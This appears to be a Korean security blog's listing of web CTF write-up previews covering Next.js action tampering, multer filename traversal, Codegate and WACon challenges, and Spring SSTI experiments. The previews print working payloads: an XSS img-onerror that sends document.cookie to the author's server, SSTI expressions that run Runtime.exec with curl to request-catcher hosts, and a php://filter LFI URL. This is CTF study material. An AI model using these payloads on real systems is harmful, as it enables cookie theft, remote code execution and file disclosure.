웹 (17) 썸네일형 리스트형 Breach CTF-web-Framework Follies 블라인드로 문제파일만 받아서 풀었기에 풀고나니 10솔브 문제였다 뭐든지 마음가짐이 중요한것같다.next.js의 지식이 부족하기에 문제는 정말 어려웠고 server.js도 라우팅도 모두 동적으로 해준다는것을 깨닫는데 시간이 조금 걸렸다.ioEYWhJqZO폴더에서 flag를 출력하는 함수와 이폴더의 페이지에서만 button클릭시 동작하는 부분이 있는것을 볼수있다.저함수를 실행시키는 방법을 찾는데 많은 시간을 사용했고 test버튼을 클릭시에 다음과 같이 통신하는것을 확인했고 codegate의 웹문제에서 action값을 변조시킨것처럼 이번에도 action을 바꾸면 될것같았다. /_next/static/chunks/app/ioEYWhJqZO/page-46ecf19b8ba66948.js경로에서 중요한 action .. nodejs로 파일 업로드 필터링 우회 방법 https://huntr.com/bounties/92a875fe-c5b3-485c-b03f-d3185189e0b1AI 관련 1-day를 보던중 신기해서 찾아보았다. https://www.nodejs-security.com/learn/secure-file-handling/weak-multer-file-name-manipulation Weak Multer File Name Manipulation www.nodejs-security.com다음처럼 누가 정리해둔 취약점이다.file.originalname = Buffer.from(file.originalname, "latin1").toString("utf8")다음과같은 파일업로드시 파일명 및 경로를 처리하는 시스템이 있을때filename = "..丯..丯..丯.. dicectf-web-공부 cookie-recipes-v3bake시에 배열값을 number에 넣을경우 length조건을 우회하고 Number함수과정에서 배열을 문자열로 바꾸고 이를 숫자로 바꾸기에 cookie의 값이 오르게 되어 flag를 획득할수있게된다. pyramidreq.on부분을 비동기처리로 해당 패킷이 완료되기전에 token이 발급되는점을 이용해 비동기처리를 늘어트리고(HTTP 헤더만 전송 body 데이터는 일부로 보내지않고 end가 안되게유지시키고 recv를 통해 토큰만받아서 이용하면된다)) 받은 토큰을 이용해 추천인 코드를 발급받아 추천인코드에 유저체크는 없기에 자기자신을 계속해서 추천하면된다.(추천인과 정산버튼의 로직상 자기자신을 추천할경우를 고려안했기에 값이 기하급수적으로증가한다.)web-nobin먼저 messag.. Codegate2025-공부 1. hide-and-seek(web)https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps Digging for SSRF in NextJS appsAt Assetnote, we encounter sites running NextJS extremely often; in this blog post we will detail some common misconfigurations we find in NextJS websites, along with a vulnerability we found in the framework.www.assetnote.ioawait fetch를 통해 요청시 해당버전의 nextjs의 경우문제의 exter.. codegate 2025-Masquerade 1.터키어를 이용한 권한변경d760525e-a019-4dcc-a9bb-107768cbdec31234admın4aeadcf5-fd2c-4113-b0c1-6dbdd7d1aa641234ıNSPECTOR2.base tag를 이용한 내서버로 리다이렉트3. 내서버에서 admin/test페이지로 리다이렉트후 내서버로 다시 리다이렉트http://내서버ip/admin/test/?title=%3Cimg%20src=%22x%22%20onerror=%22location.href=%27http://내서버ip/codegate/%27%2bdocument.cookie%22%3E&content=b 분발해야겠다! 추가base태그 말고도 두가지방식이 더있었다.Dom clobbering- name을 통해 window.conf에 접근하면서 .. WACon2022-Kuncɛlan 공부 blackbox challenge 라고한다.들어가면 로그인창이 나오고 guest/guest로 로그인하면 뭔가 SSRF을 이용해 풀어야 할것같은 창이 나온다. 입력해보면 로컬인 127.0.0.1에서만 동작하는 기능이다. blackbox상태에서 필터링을 우회하는건 힘들기에 다른 방법을 찾아봐야한다. php wrapper를 이용한 LFI가 있었다./index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/index PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXNzaW9uX3N0YXJ0KCk7CgppZighaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSkgewogICA.. Spring 삽질 __${1111+2222}__::.x__${'abccc'.toUPPERCASE()}__::.x__${getRuntime().exec(curl 'https://ckgmkdp.request.dreamhack.games')}__::.x__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x__${(1).Class.forName('ja'+'va.lang.Runt'+'ime').getRuntime().exec('curl https://xltlspf.request.dreamhack.games')}__::.x[_${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime')...}__], template might not exist or might not .. SSTI 문서 https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/README.md GitHub - carlospolop/hacktricks: Welcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, reWelcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news. - GitHub - ca.. 이전 1 2 3 다음